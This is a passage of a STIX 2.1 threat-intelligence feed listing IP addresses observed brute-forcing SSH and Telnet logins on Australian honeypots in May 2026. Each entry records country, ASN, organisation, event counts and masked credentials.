      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 12302. Organisation(s): Vodafone Romania S.A..",
      "id": "indicator--e96d97ba-51de-45fd-8ff6-7efed94bd5bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.186.121.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): t**t. Passwords observed (masked): a****f.",
      "id": "indicator--fe34c1ed-7d85-4e9b-9d35-0933e221249f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.71.8.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:15:10.000Z",
      "valid_until": "2026-06-02T09:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 136141. Organisation(s): Mohammad Kamrul Hasan ta SK Traders.",
      "id": "indicator--21152724-b5f5-47a1-ac40-f6253f595250",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.136.203.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--5f98deb3-bd16-4403-b922-3118a9830ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.184.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22, 587. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n. Passwords observed (masked): 1****9, 1******3, 1****2, 1****6.",
      "id": "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--4e71b00d-9c81-4dac-9723-b99bfdb238d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.249.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--1f7c268b-05ec-4abf-b3a8-7db452a198f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.141.80.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:15:10.000Z",
      "valid_until": "2026-06-02T10:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 41436. Organisation(s): Kamatera Inc.",
      "id": "indicator--3aff3d41-b148-4010-b9e1-ecfe2226f264",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.45.247.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--212b53de-42bb-4b81-b755-8b02acb8c963",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.190.101.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--c24debf3-b616-4900-b6de-e6960fdf65b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.183.32.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--bb9368b5-71ba-4aba-bb08-64f3afff4feb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.180.222.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1382196a-7067-45e5-b310-0c213a9fc79f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7c2c797f-ff3b-4252-8c60-8fd0260e7472",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.43.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 314. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 17378. Organisation(s): TierPoint, LLC.",
      "id": "indicator--f51abbf2-9c14-44be-82f3-4ad6ffbfde3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.136.57.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--e879602c-e06a-4427-85bd-ccf89140e838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.132.249.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): M******E.",
      "id": "indicator--ecf7f155-0802-449a-8180-988add9b1c58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LK. ASN(s): 132124. Organisation(s): Information and Communication Technology Agency of Sri Lanka.",
      "id": "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.224.126.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138754. Organisation(s): Kerala Vision Broad Band Private Limited.",
      "id": "indicator--eca7dc99-12e0-4175-b5a2-cdfb0b0f137b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.229.88.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45352. Organisation(s): IP ServerOne Solutions Sdn Bhd.",
      "id": "indicator--cec6e94c-3b58-4cd0-9c22-6cd859c7724c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.84.41.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD.",
      "id": "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:15:10.000Z",
      "valid_until": "2026-06-02T11:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 134651. Organisation(s): PT Yetoya Solusi Indonesia.",
      "id": "indicator--eccd3953-a2fc-4bed-9a94-ac2e672dcc7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.208.206.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137085. Organisation(s): ANONET COMMUNICATIONS PVT LTD.",
      "id": "indicator--d210d562-234e-4217-8773-d78344c5fd6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.91.77.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131602. Organisation(s): Hsin Yeong An Cable TV Co., Ltd..",
      "id": "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.105.209.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--488f47ac-9607-41e8-acd6-1e4ca124c831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.139.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 53850. Organisation(s): GorillaServers, Inc..",
      "id": "indicator--ed043695-e14b-4116-83c8-4642da1345b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.200.112.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--52ba7f08-5ae0-449b-80f8-2a764c4e0c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.163.207.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--475675af-786f-49af-9227-546474747eff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.48.25.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--dcb19685-436b-4dc4-b337-fadd3b53b1fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.204.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--2adf37c6-e4cc-48fd-8e9f-7079f04f13f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.89.227.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--5fb11b29-3cdc-4ed4-b2b7-8c3dad26a300",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.188.78.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--63b08ffd-d764-40d8-b425-616779f9fe56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:15:10.000Z",
      "valid_until": "2026-06-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-01T13:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--f92aafb2-421d-4d28-96ae-e04ce0010853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T13:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.192.79.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:16:29.000Z",
      "valid_until": "2026-06-02T13:15:08.000Z"
    },
    {
      "created": "2026-05-01T13:16:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--66ce8deb-e862-4af9-b618-f7baeca06ab9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T13:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.172.100.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:16:29.000Z",
      "valid_until": "2026-06-02T13:15:08.000Z"
    },
    {
      "created": "2026-05-01T13:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17754. Organisation(s): Excellmedia.",
      "id": "indicator--c4b15c45-05b6-482f-a3e5-e6a6339081c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T13:16:29.000Z",
